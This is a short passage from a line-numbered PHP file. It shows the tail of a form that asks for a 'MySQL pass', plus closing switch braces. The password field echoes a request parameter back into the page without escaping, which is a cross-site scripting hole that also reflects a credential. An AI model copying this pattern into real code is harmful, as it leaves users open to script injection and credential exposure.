1368 MySQL pass: <input type="text" name="p" value="<?php echo get('p') ?>" /><br />
1369 <input type="submit" value="Go!" />
1370 </form>
1371 <?php
1372 }
1373 break;
1374
1375 }
1376 break;
1377}
1378?>